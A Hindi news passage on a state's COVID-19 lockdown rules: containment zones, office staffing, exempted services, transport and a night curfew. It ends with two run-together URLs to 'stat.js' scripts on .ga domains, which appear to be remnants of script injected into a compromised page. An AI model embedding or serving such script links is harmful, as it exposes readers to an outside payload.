कंटेनमेंट जोन में सभी तरह की गतिविधियों पर प्रतिबंध जारी रहेगा। राज्य सरकार तथा भारत सरकार के कार्यालय, अर्धसरकारी कार्यालय और सार्वजनिक निगमों के कार्यालयों में 50 फीसद कर्मचारियों के साथ काम होगा। निजी कार्यालयों में ऐसा ही प्रावधान रहेगा। केवल बिजली, पानी, स्वास्थ्य, सिंचाई, खाद्य वितरण, कृषि एवं पशुपालन विभागों को इसमें छूट दी गई है। राजनीतिक, सामाजिक, सांस्कृतिक और खेल गतिविधियां बंद रहेंगी। शॉपिंग मॉल भी बंद रहेंगे।
इन्हें दी गई है छूट सभी अस्पताल और स्वास्थ्य सेवाओं से जुड़े लोगों और कार्यों को छूट दी गई है। अनाज, दूध, मांस-मछली, फल, सब्जी आदि के दुकानें खुली रहेंगी। जिला प्रशासन दुकानों व बाजार का समय तय करेगा। बैंक और एटीएम खुले रहेंगे। होटल, रेस्त्रां व ढाबे आदि खुलेंगे, लेकिन केवल होम डिलेवरी देंगे। रेल व हवाई सफर को अनुमति रहेगी।

ऑटो व टैक्सी पूरे राज्य में चलते रहेंगे। निजी वाहन चलेंगे। जरूरी सेवाओं के लिए गाड़ियों का संचालन किया जा सकता है। सेना, केंद्रीय सुरक्षा बल, कोषागार, सार्वजनिक उपयोगिता (पेट्रोल, सीएनजी, एलपीजी), आपदा प्रबंधन, ऊर्जा क्षेत्र, डाकघर, बैंक, एटीएम और मौसम विभाग जैसी चेतावनी देने वाली एजेंसियां लॉकडाउन से मुक्त रहेंगी। पुलिस, सुरक्षा और आपातकालीन सेवाएं खुली रहेंगी। नाइट कफ्यू रात 10 बजे से सुबह पांच बजे तक लागू रहेगा।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms